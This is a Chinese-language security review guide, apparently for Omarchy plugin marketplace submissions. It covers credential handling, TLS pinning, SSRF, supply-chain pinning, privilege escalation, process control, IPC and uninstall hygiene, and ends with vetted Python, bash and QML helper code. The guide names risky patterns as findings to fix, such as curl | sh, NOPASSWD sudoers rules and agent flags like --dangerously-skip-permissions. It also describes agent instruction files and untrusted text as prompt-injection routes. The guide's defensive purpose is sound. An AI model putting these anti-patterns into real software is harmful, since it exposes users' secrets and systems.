  • 携带凭据的重定向(约 130 条评论):urllib 的默认处理器和 curl -L 会将 Authorization 转发到任何 30x 响应指定的主机,包括从 HTTPS 重定向到 HTTP。对于携带凭据的请求,应拒绝重定向(使用 redirect_request 返回 None 的 HTTPRedirectHandler,或让 curl 不使用 -L),或者针对每一跳重新验证精确的 (scheme, host, port),并在任何一项发生变化时移除凭据。--proto-redir =https 只限制协议。
  • 使用秘密信息时采用纯 HTTP(约 60 条评论):接受 http:// 基础 URL、使用 curl -k、verify=False、ssl._create_unverified_context()、mpv 的 tls_verify=0、/cert:ignore,以及默认使用 http://ip-api.com。应在代码中强制使用 HTTPS;只有字面值为环回地址时才允许 HTTP,且绝不能允许禁用验证。对于使用自签名证书的 LAN 设备,应在明确的首次使用流程中固定证书指纹或公钥(curl --pinnedpubkey),并拒绝证书变更;不要提供不安全的备用方案。DHCP 租约中的设备地址只能猜测谁在监听,并不能证明对方是谁,因此要在凭据发出前检查固定值:
ctx = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
ctx.check_hostname = False        # CN is a serial number, not a hostname
ctx.verify_mode = ssl.CERT_NONE   # replaced by the narrower check below
sock = ctx.wrap_socket(raw)       # handshake: nothing secret has gone out yet
if sha256(sock.getpeercert(binary_form=True)).hexdigest() != pinned:
    raise Untrusted()             # only now send the credential

这里的 CERT_NONE 并非安全弱点,而是用更严格的机制替代主机名验证:只允许一个证书,即用户在设置过程中查看过的那个证书。重新固定必须是明确的交互步骤,展示新旧指纹,绝不能自动进行。

  • SSRF 和 DNS 重绑定(约 90 条评论):任何可配置或由响应提供的 URL 都可能指向环回地址、RFC1918 地址、链路本地地址、.local 域名,也可能在检查与连接之间解析到不同地址。解析地址,拒绝所有非全局地址,将已验证的地址固定到连接(curl --resolve),同时保留 Host 和 SNI,并针对每一跳重复此操作;禁用环境代理(ProxyHandler({})、--noproxy '*');使用真正的 IP 解析器解析地址(127.999.999.999 曾通过正则检查)。
  • 固定源站:将 API 基础地址保留为常量。可配置的 apiUrl 若会接收已存储的令牌,就必须阻止使用;除非它是醒目且经用户同意的开发覆盖选项,并且不复用凭据。
  • curl 使用规范:首先使用 curl -q,再使用 --proto =https --proto-redir =https、--max-time、--max-filesize 和 head -c;使用 -H @- 或 --data-raw,确保开头的 @ 按字面值处理;将 URL 作为 -- 后的独立参数。不要根据令牌用 printf 输出 --config 文件:引号或换行符也会成为另一条指令。
  • OAuth:在 127.0.0.1 上使用环回回调,将随机 state 进行精确比对,使用 PKCE,设置有限超时,不要通过第三方代理传递令牌。

7. 供应链与安装

  • 安装或运行时可变的代码(约 250 条评论):curl ... | sh、bash <(curl ...)、克隆 main 或发布标签(“Git 标签可以移动”)、releases/latest、没有 --rev 的 cargo install --git、没有哈希的 pip install、npm -g @latest、每次刷新时运行 npx -y、使用 yay -S 安装 -git 软件包、docker :latest、在插件目录中运行 git pull、yt-dlp -U,以及从与二进制文件相同的发布版本获取校验和(“校验和只能将字节与自身绑定”)。经过审查的快照必须就是实际运行的代码。要求提供完整的 40 个字符 SHA,获取对应对象,验证 rev-parse FETCH_HEAD^{commit} 和 HEAD 与其相同,在全新的、禁用钩子的目录中分离检出(-c core.hooksPath=/dev/null),然后构建;使用 cargo build --locked;从已提交的锁定文件安装 pip --require-hashes --no-deps;工件的 URL、大小和 SHA-256 必须存储在经过审查的提交中,下载到私有临时目录,流式计算哈希并设置大小上限,然后再原子提升。彻底移除自动更新路径。优先选择完全不构建源代码;使用 omarchy pkg add 并记录前置条件。
  • 捆绑的二进制文件(约 100 条评论):已提交的 ELF、.pyc、.qsb 着色器或 AOT 包“无法检查”。应提供源代码,并在有文档说明且经用户同意的设置步骤中构建;或者提供 CI,在固定摘要的容器中基于固定提交逐字节重建完全相同的工件,并附上签名的证明。附带的 .sha256 文件不属于来源证明。将 CI 操作固定到完整 SHA,将镜像固定到摘要,并设置 permissions: contents: read。
  • 加载时的副作用:Component.onCompleted 会构建 venv,加载时运行 install.sh --ensure,将技能符号链接到 ~/.claude 或 ~/.codex,在状态轮询时向 ~/.bashrc 追加 source 代码块。常规激活应为只读。下载、构建、软件包安装、持久化写入和服务变更,必须通过明确标注的按钮或有文档说明的终端命令触发,并保留先前状态。
  • AUR 安装时使用 --noconfirm 会跳过唯一的审查步骤;pacman -Rdd 会破坏其他软件包。
  • Vendored 代码:记录上游提交,保留许可证声明,并披露所有修改。移除上游保护措施的翻译分支属于问题。

8. 权限提升与系统集成

  • 绝不提升从检出目录运行的代码的权限(约 120 条评论):sudo ./install.sh、pkexec <plugin-dir>/helper、sudoers 中指定 ~/.config/omarchy/plugins/...、从 /usr/bin 指向检出目录的符号链接,以及通过 pkexec bash -c "$script" 执行用户可写文件中的文本。授权对话框可能会持续很长时间,其间任何同一用户的进程都能替换文件;而且 sudo 时间戳有效时,完全不需要提示。Root 只执行自己拥有的字节:在可见终端中,仅执行一次 sudo install -o root -g root -m 0755,将文件安装到 /usr/local/libexec/<plugin>/;配套使用 polkit 策略,或使用经 visudo -cf 验证、仅限固定动词和字面参数的 sudoers 规则,通过 stdin 传递数据,并在 root 端验证每个输入。更好的做法是移除权限边界(安装到 ~/.local/bin,使用 systemctl --user)。
  • 授权范围过宽:对整个工具授予 NOPASSWD(wg-quick、tlp、systemctl、kill)、设置 polkit allow_active=yes 或 Identity=*、仅当 command_line 包含某路径时才匹配的规则(共享 shell 进程中的任何代码都能通过同一检查)、udev MODE=0666、对 sysfs 使用 chmod a+w、由 root 使用的组可写 /etc 配置、永久加入 input 或 docker 组(分别会带来键盘记录风险和等同 root 的权限),以及对通过 PATH 解析的二进制文件使用 setcap。使用 auth_admin、TAG+="uaccess" 或权限为 0660 的专用组,并遵循最小权限原则,确保移除后授权也会撤销。
  • Root 跟随用户路径操作:对用户可控路径执行特权 cp -f、chown、install 或 rm;从用户可写状态中读取 PID、归档文件、软件包名称或哈希。特权代码只能操作固定的、由 root 所有且非符号链接的路径,并在使用前立即验证;绝不信任用户 PID 文件。
  • 以事务方式执行 root 更改:修改前记录日志,备份要替换的内容,失败时回滚,区分创建的内容与继承的内容,绝不删除管理员预先存在的配置,绝不删除 /var/lib/pacman/db.lck。
  • 在可见终端(omarchy-launch-floating-terminal-with-presentation)中显示特权命令,而不是使用隐藏的 pkexec。

9. 进程、PID、信号与守护进程

  • 没有截止时间,也不清理整个进程组(约 530 条评论,大多是 9 月以来提出的加固要求,但仍有人要求):Process.running = false 和 Process.signal() 只能作用于封装进程,因此 bash -c、hyprctl | head、ssh 和 pkexec 的子进程会继续运行;使用 timeout 却不带 -k;communicate(timeout=) 返回后不回收进程;重启循环没有次数上限;Component.onDestruction 中没有任何处理。让每个辅助进程在独立会话中运行(setsid、start_new_session=True 或 systemd-run --user --scope),并由单个监督进程强制执行绝对截止时间、运行期间的字节数上限;当超时、溢出、被新请求取代、取消或销毁时,对整个进程组依次发送 TERM、短暂等待、发送 KILL 并回收进程。即使领导进程已退出,也要让升级定时器继续运行。绝不将 rc=None 或观察失败视为“已退出”。
  • PID 重用(约 110 条评论):存储 PID、使用 PID 文件、pkill -f substring、killall,或先检查 /proc/<pid>/comm,再另行发送 kill。保留所拥有的 Process 句柄;否则,在进程确认存活时从 /proc/<pid>/stat 获取 (pid, start time, uid),并在每次发送信号前立即重新读取;或者使用 pidfd_open/pidfd_send_signal;无法读取进程身份时应默认拒绝操作。Root 辅助进程绝不向用户文件中指定的 PID 发送信号。
  • 过时请求:为每个请求记录一代标识,并丢弃标识不匹配的完成结果;串行执行变更;轮询采用单飞模式。
  • 任何以分离方式启动的进程都需要一条即使插件目录已删除仍然有效的停止路径,否则执行 omarchy plugin remove 后进程仍会存活。

10. Hyprland、Omarchy 与共享用户配置

  • 不安全地或未经同意改写共享配置(约 140 条评论):加载时向 bindings.lua 追加内容、对 hyprland.lua 执行 sed -i、通过 /tmp 中的临时文件改写 shell.json、在缺少结束标记时会从起始标记处截断至文件末尾的 awk 块编辑,以及会吞掉失败却仍报告“已回滚”的恢复函数,还有 Component.onCompleted 中的 hyprctl keyword。提交清单明确指出,插件不会在未经明确同意的情况下覆盖用户配置,评审人员也会据此要求你。优先使用由插件自行管理的状态文件,或针对 shell.json 使用 host.mutateShellConfig()/updateEntryInline。如果必须编辑共享文件:必须由用户明确操作;使用一个带唯一标记的连续代码块,且不插入任何变量值;进行精确的结构验证,遇到标记格式错误或重复时安全失败;创建备份;在同一目录中创建独占临时文件并进行原子替换;执行 hyprctl reload 和 hyprctl configerrors,并在失败时将文件回滚为完全相同的原始字节和权限;卸载时仅移除该代码块。
  • 未经所有权证明和单独的明确操作,不要修改、覆盖或删除其他组件的文件(Nautilus 扩展、其他插件的状态、WirePlumber 配置、全局快捷键)。放入 *.conf.d 目录的所有文件都必须使用独立命名空间。
  • 无法通过文件标记证明全局合成器绑定的所有权;优先使用由插件自行管理的 layer-shell 点击捕获器或子映射。
  • 在 Hyprland 中通过 io.open 读取可被替换的 JSON,或对状态文件使用 dofile 的生成 Lua 代码,会将状态作为代码执行;应存储有界的被动数据,并使用封闭的架构解析。

11. 本地 IPC、套接字、端口与 D-Bus

  • 未经身份验证的本地控制(约 80 条评论):位于 /tmp 且权限为 0666 的套接字、没有 SO_PEERCRED 的抽象套接字、接受不带令牌或 Origin/Host 检查的状态变更 POST 请求的回环 HTTP 服务(任意网页都可以发送简单请求)、会返回写入令牌的 /api/bootstrap、固定的 DevTools 端口、忽略发送方的 D-Bus 服务,以及绑定到 0.0.0.0 的服务。“绑定到回环地址并不等于身份验证。”套接字应放在经过验证、权限为 0700 的运行时目录中,权限设为 0600,并检查 SO_PEERCRED UID,同时限制客户端数量;HTTP 应使用随机端口、每个会话各自的 randomBytes(24) 令牌并以恒定时间进行比较,检查 Host/Origin,仅接受 JSON 内容类型,并在解析前限制帧大小、设置每个连接的截止时间。
  • 公开的 IpcHandler 方法(约 25 条评论):任何可通过 omarchy-shell shell ... 调用、能变更状态、启动捕获或 Agent、执行删除,或返回敏感数据且无需用户在场的方法,都是安全问题。IPC 仅保留无参数的 open/close/toggle 方法,少数参数使用 Number() 强制转换,并在处理器内部应用与 UI 相同的范围限制。仅触发插件自身正常、非破坏性行为的带参数方法(例如打开面板的测试钩子)属于加固建议;会持久化数据、捕获内容、删除数据、花费资金,或触及命令或路径入口的方法则属于阻断项。
  • 以换行符分帧的套接字和原生消息传递主机必须在缓冲换行符之前限制字节数、限制连接数并设置截止时间。

12. 隐私、披露和 README 声明

  • 与代码不符的声明(约 85 条评论):“不联网”,但 AutoText 或 Markdown 渲染器会获取资源;“仅使用 Open-Meteo”,但实际调用了 wttr.in;“仅使用密钥环”,但密码存放在 shares.json 中;声称权限为“0600”,却未设置权限模式;声称“从不编辑 ~/.config/hypr”,但实际上会编辑;声称“转录内容保留在本地”,但音频会发送到 api.openai.com。这种差异本身就是阻碍。README、清单、提交检查表和代码必须在审核的提交版本中保持一致;说明每个外部端点、每项凭据及其接收域名、写入的每个文件,以及移除后会保留的内容。
  • 敏感采集必须经知情同意后选择启用:打开所有 /dev/input/event*、记录预编辑文本、默认路径上进行 IP 地理定位、启用后扫描浏览器 LevelDB 存储、在取消选择器后读取剪贴板、采集窗口标题或 argv。默认关闭、严格限制范围,并在首次请求前明确征得同意。
  • 缓存内容也属于私人数据(见第 2 节)。

13. AI Agent 与提示词注入

  • 可安装目录中的 Agent 指令文件(约 40 条评论):AGENTS.md、CLAUDE.md、.claude/、.codex/、.agents/、.gemini/、SKILL.md、.herdr/。omarchy plugin add 会将整个仓库原样复制到编码 Agent 会自动发现的路径中,因此无论文件内容如何,这都会形成提示词注入攻击面。请从分发目录中移除这些文件(不会被 Agent 自动加载的 docs/CONTRIBUTING.md 可以保留)。将技能符号链接到 ~/.claude/skills 或追加内容到 ~/.claude/CLAUDE.md 的安装程序,需要单独披露并征得选择启用同意。
  • 将不可信文本传入具备工具能力的 Agent(约 45 条评论):转录内容、字幕、OCR 结果、剪贴板内容、容器标签或远程内容被发送给 claude -p、codex exec、opencode run、Copilot 或 Crush。-p 并不意味着禁用工具;省略 --allowedTools 并不能构成拒绝边界;--sandbox read-only 仍会读取主目录;提示词中的一句话和 Bash 模式白名单都不是授权边界。仅使用代码中可证明不会调用工具的方式(--tools "");对于无法做到这一点的 Agent,应在默认情况下关闭并采取失败关闭策略;绝不使用 --dangerously-skip-permissions、--yolo、--auto-approve 或 --allow-all-tools;默认关闭,并在屏幕上显示每项操作的确切 argv,要求用户确认。将模型输出渲染为纯文本。
  • 放入提示词中的不可信值:移除控制字符、限制长度,并将其置于明确分隔且标注为不可信数据的代码块中。

14. 移除、卸载和残留状态

  • README 移除说明(约 80 条评论):提交要求中必须包含。写明准确的 omarchy plugin remove <id> 命令及当前 ID,列出所有会残留的内容(状态、缓存、凭据、密钥环条目、单元、钩子、软件包、符号链接、防火墙规则、sudoers、udev),说明哪些会删除、哪些会保留,并给出实际路径。如果缓存了邮件主题、相机画面或位置信息,请说明这些内容在移除后仍会保留。切勿将 rm -rf 记录为移除方法。
  • 移除后仍在运行或保留授权的情况(约 70 条评论):脱离终端运行的守护进程、MPV 子进程、已登录的 Chromium、用户定时器、NOPASSWD 规则、polkit 操作、theme-set.d 中的钩子、菜单项、生成的 Hyprland 代码块、被禁用后从未重新启用的触摸板。即使插件目录已经不存在,清理流程也必须仍可执行;它必须停止所属的子进程、撤销授权并恢复先前状态。
  • 误删过多内容的卸载程序(约 70 条评论):对从环境变量派生的目录执行 rm -rf、匹配 themes/omarchy-* 通配符、移除所有 WireGuard 连接、卸载拥有 PATH 二进制文件的任何软件包、将任何包含插件名称的文件都视为插件所有。只能移除字面指定的路径,且必须通过标记、内容哈希或已记录的符号链接目标证明这些路径由本插件写入;拒绝处理非本插件管理的目录树;绝不使用 rm -rf 或通配符;安装和卸载必须对称。

15. 仓库卫生

  • README 或截图中不得包含真实设备标识符:序列号、证书指纹、MAC 地址、账号 ID。请使用看似合理的占位符;评审者会从隐私角度审阅 README。
  • 泄露的令牌和开发产物(.gstack/、.wrangler/、__pycache__、采集语料、43 MiB 的 GIF)会导致仓库被拦截;请撤销并轮换令牌、删除这些文件并添加忽略规则。
  • 硬编码的主目录路径(/home/you/...)会让其他所有用户无法使用,评审者也会发现;请从 manifest.__sourceDir 或插件目录解析辅助文件。
  • Manifest ID、moduleName、ipcTarget、README 命令和安装路径必须一致;切勿重复使用 omarchy.clock 这类内置命名空间(它会与默认小组件的设置和 IPC 冲突);保留或已弃用的 ID 不得重复使用;使用 schemaVersion,而非 schemaversion;除非 omarchy.clonedFrom 指向上游 SHA,否则克隆版本不得包含此字段。
  • 必须提供许可证文件;捆绑的字体、图标、音效和数据集必须有可验证的再分发权利及上游声明;引入的代码须保留其声明。
  • 扫描器限制:每个文本文件最大为 512 KiB,总大小最大为 8 MiB,最多 1,000 个文件;源文件中出现字面量 NUL 字节会导致基线检查终止。文件名包含 install、setup 或 uninstall 的文件都会按文本读取,因此 setup.png 会导致扫描失败;预览文件必须是根目录下的 preview.png(验证时也接受 preview.jpg、preview.jpeg、preview.webp 和 preview.avif;其他名称均不视为预览图)。
  • 确保测试全部通过;评审者会运行测试,也会注意到有人删除失败的测试套件而不是修复它们。

自动化基线

机器人会针对确切的提交运行 security-baseline-scanner.mjs。该扫描器具有确定性,检查范围有限。会导致拦截的发现项(security-needs-fixes):curl-pipe-shell、remote-git-execution-unpinned、cargo-git-unpinned、sudoers-dangerous-passwordless-command、privileged-process-control-from-shared-temp。只需人工审查的能力项(security-review-required):installer、package-manager、privilege(任何未取反的 sudo/pkexec)、remote-build、service-management、bundled-executable-binary、sudoers-modification。README 中写着“无需使用 sudo”的句子会被字符串匹配命中,维护者会将其归类排除;你不必删除这句话,但请预期出现相应标签。

每次提交前都在本地运行扫描;只需一分钟,却能省下一天:

mp=$(mktemp -d) && git clone --depth 1 https://github.com/omacom/omarchy-plugin-marketplace "$mp" && cd "$mp" && npm ci --silent
GITHUB_TOKEN=$(gh auth token) SHA=$(git -C /path/to/plugin rev-parse HEAD) \
node --input-type=module -e '
import { runSecurityBaseline } from "./scripts/security-baseline-scanner.mjs";
const r = await runSecurityBaseline("https://github.com/<owner>/<repo>", process.env.SHA,
  { token: process.env.GITHUB_TOKEN, requiredPaths: ["Panel.qml"] });
console.log(r.outcome, JSON.stringify(r.findings, null, 2), JSON.stringify(r.capabilities));'

没有发现项或能力项且结果为 passed 时,经维护者批准后会自动变为 Verified。其他所有情况都需要等待本指南所述的人工审查。

让人白白耗费数天的提交机制

  • 精确 SHA 绑定(约 210 条评论):验证结果、编码后的基线、当前默认分支 HEAD 和人工审核的树必须全部对应同一个 40 字符提交。验证后任何推送,即使只改了 README 或 preview.png,也会导致审核过期,并且不会应用任何标签。将所有修复放在一个最终提交中,然后触发验证,之后直到批准前都不要动 HEAD。缩写 SHA 会被拒绝。
  • 重新验证由编辑议题正文触发,而非评论。工作流监听 issues: [opened, edited, reopened, labeled];正文中的内容必须实际发生变化。回复修复提交 SHA 只是出于礼貌。
  • 提交表单:标题以 [Plugin]: 开头;按顺序包含 SUBMISSION.md 中的全部六个标题;五个复选框的措辞必须完全一致;### Repository URL 只能包含仓库根目录的裸 URL,末尾不得有斜杠;类别名称必须拼写完全一致;标签最多三个;根目录下必须有 preview.png;必须有许可证文件。评论不会更新元数据。
  • 标签:needs-fixes 和 security-needs-fixes 会阻止发布;security-review-required 和 manual-setup 是分类标签,不是阻止项,会保留在列表中。只要单独运行 omarchy plugin add ... --enable 无法让插件正常工作,就会应用 manual-setup(例如需要外部 CLI、账户、API 密钥、守护进程、本机编译、加入群组或修改绑定)。Omarchy 已自带的内容不算。
  • 七天规则:有未解决阻止项的提交若七天内没有回复,就会被关闭;修复后请新建一条提交。
  • 更新:已列出的插件通过 [Verify] 表单提交较新的提交,并填写完整 SHA;ID 必须与列表中的一致;修改表单标题会导致解析器出错;在评论中填写 SHA 不会重新指定请求对应的提交。
  • 重复、迁移、分叉:每个仓库只能有一个议题;仓库重命名或转移后需要重新提交;分叉或设置了 clonedFrom 的仓库会继承所有上游问题,并应记录上游 SHA。
  • 回复中有效的措辞:准确的提交;将每个问题逐一列为已关闭(而非已转移),并注明文件和行号;针对已报告竞态添加的测试。审核者会验证“实际运行的流程”,对比所声称的修复提交差异,使用 grep 统计 textFormat,测量 Quickshell 的行为,并将不准确的声明视为新问题。
  • 你的某个插件存在的问题会影响你的所有插件;审核者会对比作者提交的其他内容。重新检查前,请在你的所有仓库中修复这一类问题,并在提交信息中附上报告者评论的链接,以便重新检查时确认已处理的内容。

提交前检查清单

文件与状态

  • 对插件并未刚刚创建的文件进行的每次读取,都通过单个 O_NOFOLLOW|O_NONBLOCK 描述符完成;使用 fstat 验证,并读取 cap + 1
  • 每次写入都使用目标目录中的独占随机临时文件;创建时权限为 0600,随后执行 fsync、rename 和目录 fsync
  • 使用已持有的描述符遍历父目录;不要对随后会信任的目录链使用 mkdir -p;权限修复必须无条件运行,并移除非普通文件条目
  • 不使用固定的 /tmp 路径,也不使用 ${XDG_RUNTIME_DIR:-/tmp};应直接安全失败
  • FileView 仅用于监视(preload: false、blockAllReads: true)
  • 遍历、删除和解压归档文件的操作都限制在已打开的根目录内,并拒绝 ..、符号链接和特殊文件

机密信息

  • 任何 argv 或环境变量中都不得包含令牌、密码、OTP 或私密内容;改用 stdin 或 -H @-;绝不将令牌插值到 curl --config 中;先使用 curl -q;关闭跟踪
  • 凭据文件在创建时权限为 0600,所在目录权限为 0700;优先使用密钥环;不得静默退回纯文本存储
  • 日志、错误、通知或长期存在的 QML 属性中不得包含任何机密信息 上限
  • 每个子进程都在生产端限制字节数(head -c cap+1),设有绝对截止时间,在独立进程组中运行,并在收到 TERM/KILL 后回收
  • 流式读取时限制每个远程响应的大小(--max-filesize 加 head -c、read(MAX+1))
  • 字节数达到上限后,再限制条目数、字符串长度和深度,检查数字是否有限,并使用空原型映射
  • 不使用 StdioCollector;对不可信输出不使用默认的 SplitParser

QML

  • 每个 Text、Label、TextEdit 都设置 textFormat: Text.PlainText(审计脚本确认没有遗漏)
  • 传入 tooltipText、ConfirmDialog、PanelSectionHeader、WidgetButton 的字符串都移除 <、>、& 和控制字符,并限制长度
  • 远程 URL 或由播放器提供的 URL 不得传入 Image.source;使用本地副本并设置 sourceSize

命令和网络

  • 所有进程都使用 argv 数组;任何 sh -c 都必须是使用 $1 的固定脚本;传入 hyprctl eval 字符串的外部内容必须符合封闭语法
  • 不得在 $(( ))、[ x -gt y ]、let 或 declare -i 中使用外部值
  • 每个数据参数前都加 --;拒绝形似选项的值;使用 xdg-open 前先解析 URL 并校验主机是否在允许列表中
  • 涉及机密或权限时,使用可执行文件的绝对路径并设置 clearEnvironment: true
  • 仅使用 HTTPS;携带凭据的请求拒绝重定向;拒绝非全局地址并固定目标;API 源地址固定

供应链、权限、进程

  • 不使用 curl | sh;不按分支或标签克隆;不使用 releases/latest;不安装未固定版本的软件包;不自动更新;使用完整 SHA 并分离检出,或使用哈希锁定安装
  • 不提交可执行文件;或提供可复现构建证明
  • 不得从检出目录提升权限;使用规则范围严格的 root 所有固定辅助程序,或完全不使用特权
  • 仅向自有句柄发送信号,或在发送前立即重新读取并核验 (pid, start time, uid)
  • 加载插件时不执行任何修改;每次安装、下载或配置编辑都必须由明确操作触发

配置、IPC、Agent、移除、仓库

  • 修改共享的 Hyprland 或 shell.json 配置:必须由明确操作触发,使用一个带标记的代码块,先备份,再验证、重新加载,失败时回滚,并在卸载时移除
  • 套接字位于经过验证的 0700 运行时目录中,并使用 SO_PEERCRED;HTTP 使用每会话令牌并检查 Origin/Host;IPC 方法不接受参数
  • 目录树中不包含 AGENTS.md、CLAUDE.md、.claude、.codex、.agents;不得针对不可信文本调用启用了工具的 Agent
  • README:列出所有端点和所有写入的文件;包含“移除”部分,写明实际的 omarchy plugin remove <id> 命令及移除后保留的内容;所有声明都与代码相符
  • 移除时停止守护进程、撤销授权、恢复状态,并且只删除已确认归本插件所有的路径
  • README 中不得包含真实序列号、指纹或账户 ID;不得泄露令牌或开发产物;不得硬编码主目录路径;不得有超过 512 KiB 的文件;不得包含 NUL 字节;预览图命名为 preview.png;必须提供许可证;ID 保持一致
  • 本地基线运行显示 passed;所有修复放在一个提交中;编辑问题正文以触发验证

附录:评审人员已接受的辅助工具

基于文件描述符的状态文件辅助程序(Python)

从 QML 使用 argv 数组调用(["/usr/bin/python3", "-I", "-S", helperPath, "read", name]),并保留 FileView` 作为监视器。这是已获数十次批准的实现形式;请按需调整限制和架构。

#!/usr/bin/python3 -I
import os, pwd, re, stat, sys, json, secrets

MAX_BYTES = 65536
_COMPONENT = re.compile(r"[A-Za-z0-9._-]+")

def _ok_component(name):
    return bool(_COMPONENT.fullmatch(name)) and name not in (".", "..")

def open_dir_chain(parts):
    """Walk from the passwd home with held descriptors; return the final dirfd."""
    if not parts or not all(_ok_component(p) for p in parts):
        raise PermissionError("refusing directory chain")
    # $HOME is attacker-controlled for a same-UID child; passwd is the trust anchor.
    # The home itself may be a symlink (user config), so do not O_NOFOLLOW the anchor.
    home = pwd.getpwuid(os.geteuid()).pw_dir
    fd = os.open(home, os.O_RDONLY | os.O_DIRECTORY | os.O_CLOEXEC)
    try:
        for i, name in enumerate(parts):
            try:
                nfd = os.open(name, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW | os.O_CLOEXEC, dir_fd=fd)
            except FileNotFoundError:
                try:
                    os.mkdir(name, 0o700, dir_fd=fd)
                except FileExistsError:
                    pass
                nfd = os.open(name, os.O_RDONLY | os.O_DIRECTORY | os.O_NOFOLLOW | os.O_CLOEXEC, dir_fd=fd)
            os.close(fd)
            fd = nfd
            st = os.fstat(fd)
            if not stat.S_ISDIR(st.st_mode) or st.st_uid != os.geteuid():
                raise PermissionError(f"untrusted directory component {name}")
            # Only the plugin's own leaf directory is forced to 0700; XDG parents stay as set.
            if i == len(parts) - 1 and st.st_mode & 0o077:
                os.fchmod(fd, 0o700)
        return fd
    except BaseException:
        os.close(fd)
        raise

def read_bounded(dirfd, name):
    try:
        fd = os.open(name, os.O_RDONLY | os.O_NOFOLLOW | os.O_NONBLOCK | os.O_CLOEXEC, dir_fd=dirfd)
    except FileNotFoundError:
        return None
    try:
        st = os.fstat(fd)
        if (not stat.S_ISREG(st.st_mode) or st.st_uid != os.geteuid() or st.st_nlink != 1
                or st.st_mode & 0o077 or st.st_size > MAX_BYTES):
            raise PermissionError("refusing state file (expected 0600, owner-only, one link)")
        os.set_blocking(fd, True)
        data = b""
        while len(data) <= MAX_BYTES:
            chunk = os.read(fd, min(65536, MAX_BYTES + 1 - len(data)))
            if not chunk:
                break
            data += chunk
        if len(data) > MAX_BYTES:
            raise PermissionError("state file grew past the limit")
        return data
    finally:
        os.close(fd)

def write_atomic(dirfd, name, data: bytes):
    if len(data) > MAX_BYTES:
        raise ValueError("payload too large")
    tmp = f".{name}.{secrets.token_hex(8)}.tmp"
    fd = os.open(tmp, os.O_WRONLY | os.O_CREAT | os.O_EXCL | os.O_NOFOLLOW | os.O_CLOEXEC, 0o600, dir_fd=dirfd)
    try:
        os.fchmod(fd, 0o600)
        view = memoryview(data)
        while view:
            n = os.write(fd, view)
            view = view[n:]
        os.fsync(fd)
        os.rename(tmp, name, src_dir_fd=dirfd, dst_dir_fd=dirfd)
        os.fsync(dirfd)
    except BaseException:
        try:
            os.unlink(tmp, dir_fd=dirfd)
        except OSError:
            pass
        raise
    finally:
        os.close(fd)

if __name__ == "__main__":
    op, name = sys.argv[1], sys.argv[2]
    if not re.fullmatch(r"[A-Za-z0-9][A-Za-z0-9._-]{0,63}", name) or name in (".", ".."):
        sys.exit(2)
    dirfd = open_dir_chain([".local", "state", "my-plugin"])
    try:
        if op == "read":
            raw = read_bounded(dirfd, name)
            sys.stdout.write(raw.decode("utf-8", "strict") if raw else "")
        elif op == "write":
            payload = sys.stdin.buffer.read(MAX_BYTES + 1)
            if len(payload) > MAX_BYTES:
                sys.exit(3)
            json.loads(payload)          # then apply the same count/length/depth caps as a remote body
            write_atomic(dirfd, name, payload)
        else:
            sys.exit(2)
    finally:
        os.close(dirfd)
有界、受监管的命令(bash)
#!/usr/bin/bash
set -uo pipefail
MAX=262144
ERR_MAX=4096
LC_ALL=C
# Own session, absolute deadline with KILL escalation, producer-side cap of MAX + 1.
# Do not take MAX from the environment. ${#out} counts bytes only under LC_ALL=C.
# `--` so a command that starts with - is not an option to timeout.
out=$(/usr/bin/setsid -w /usr/bin/timeout -k 2 -- 20 "$@" 2> >(/usr/bin/head -c $((ERR_MAX + 1)) >&2) | /usr/bin/head -c $((MAX + 1)))
rc=$?
if [ ${#out} -gt "$MAX" ]; then echo "output exceeded ${MAX} bytes" >&2; exit 1; fi
[ "$rc" -eq 0 ] || exit "$rc"
printf '%s' "$out"

启用 pipefail 后,rc 是管道中第一个非零状态,因此生产进程失败不会被成功的 head 掩盖;生产进程在输出超过 MAX 字节后被 SIGPIPE 终止时,会优先由长度检查捕获。此处的标准错误会截断至 ERR_MAX + 1;若要检测该流是否溢出,需使用另一个保持打开的文件描述符或 Python 监管程序。Bash 的 $(...) 也无法保存 NUL 字节。

有界、固定版本的 fetch(bash)
fetch_json() {
  local url=$1 max=${2:-1048576}
  [[ $max =~ ^[1-9][0-9]{0,8}$ ]] || return 1
  case $token in *[$'\r\n']*) return 1 ;; esac
  [[ $url =~ ^https://api\.example\.com/ ]] || return 1
  printf 'Authorization: Bearer %s\n' "$token" \
    | /usr/bin/curl -q -sS --fail -H @- --proto '=https' --proto-redir '=https' \
        --max-time 10 --connect-timeout 5 --max-filesize "$max" --noproxy '*' -- "$url" \
    | /usr/bin/head -c $((max + 1))
}
# call under set -o pipefail, and treat a result longer than $max as failure

没有 -L,因此重定向会导致失败,而不是泄露令牌。如果主机可配置,请先验证地址,再添加 --resolve host:443:IP。此管道中的 PATH curl 或 head 会收到响应正文(并能看到请求);这两个二进制文件都已固定。不要使用 printf … "$token" 创建 --config 文件:令牌中的引号或换行符会成为另一条 curl 指令。

在 QML 中处理有界输出的进程
Process {
  id: proc
  command: ["/usr/bin/bash", pluginDir + "/bin/bounded-cmd", "/usr/bin/hyprctl", "-j", "clients"]
  stdout: SplitParser {
    splitMarker: ""
    onRead: function(chunk) {
      root.buf += chunk
      // .length counts UTF-16 units, so this is defense in depth; the byte cap is in the helper
      if (root.buf.length > root.maxBytes) { proc.signal(15); killTimer.start(); root.buf = "" }
    }
  }
  onExited: function(code, status) { if (code === 0) root.apply(root.buf); root.buf = "" }
}
Timer { id: killTimer; interval: 2000; onTriggered: proc.signal(9) }
Component.onDestruction: { proc.signal(15) }
按身份而不是编号发送信号(Python)
def identity(pid):
    with open(f"/proc/{pid}/stat", "rb") as f:
        fields = f.read().rsplit(b")", 1)[1].split()
    return (pid, fields[19], os.stat(f"/proc/{pid}").st_uid)   # starttime, uid

def stop(pid, expected):
    fd = os.pidfd_open(pid)          # pin the process first; PIDs reuse
    try:
        if identity(pid) != expected:
            return False             # reused between capture and open; refuse
        signal.pidfd_send_signal(fd, signal.SIGTERM)
        return True
    finally:
        os.close(fd)
供参考:审阅者的一句话规则

“收集完成后才应用上限,就太迟了。” “--max-time 限制的是时间,不是字节数。” “O_NOFOLLOW 只保护最后一个路径组件。” “rename(2) 会替换目标位置上的符号链接,而不是通过它写入。” “绑定到回环地址并不等于身份验证。” “应用名称/提示信息不是授权边界。” “提示词级指令和 Bash 命令模式允许列表不是授权边界。” “校验和只能将字节与自身绑定。” “记录该行为并不能消除凭据泄露。” “安全检查应当以失败关闭,而不是删除它未创建的对象。” “这里的威胁模型不是恶意插件,而是连接机场 Wi-Fi 的普通用户。”

评论

支持 Markdown